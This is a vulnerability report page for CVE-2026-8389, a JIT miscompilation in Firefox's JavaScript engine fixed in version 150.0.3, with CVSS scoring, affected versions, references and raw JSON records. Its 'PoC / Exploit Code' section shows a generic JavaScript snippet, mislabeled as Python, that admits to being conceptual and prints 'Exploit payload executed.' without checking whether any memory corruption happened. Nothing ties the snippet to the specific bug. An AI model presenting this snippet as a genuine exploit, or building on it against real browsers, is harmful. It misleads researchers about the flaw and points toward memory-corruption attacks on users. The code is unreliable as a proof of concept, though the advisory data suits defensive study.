Security Vulnerability Report
中文
CVE-2026-8389 CVSS 7.3 HIGH

CVE-2026-8389

Published: 2026-05-12 14:17:12
Last Modified: 2026-05-13 17:23:05

Description

JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 150.0.3.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Mozilla Firefox < 150.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-8389: JIT Miscompilation Trigger // This is a conceptual example to trigger the JIT optimization bug. function triggerJITBug() { // Prepare an array to manipulate memory layout let arr = [1.1, 2.2, 3.3]; // Function designed to be JIT compiled function optimizeMe(idx, val) { // The JIT optimizer may incorrectly eliminate bounds checks // or misinterpret types based on this operation if (idx > 0) { arr[idx] = val; } return arr[idx]; } // Warm up the function to trigger JIT compilation for (let i = 0; i < 10000; i++) { optimizeMe(1, 4.4); } // Trigger the miscompilation with specific arguments // This may lead to out-of-bounds write or read try { optimizeMe(100, "malicious_data"); console.log("Exploit payload executed."); } catch (e) { console.log("PoC execution failed or caught."); } } triggerJITBug();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8389", "sourceIdentifier": "[email protected]", "published": "2026-05-12T14:17:11.930", "lastModified": "2026-05-13T17:23:05.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 150.0.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-686"}, {"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "150.0.3", "matchCriteriaId": "B13F359A-1C15-48B4-8319-AD42CC852E8C"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2036983", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-45/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}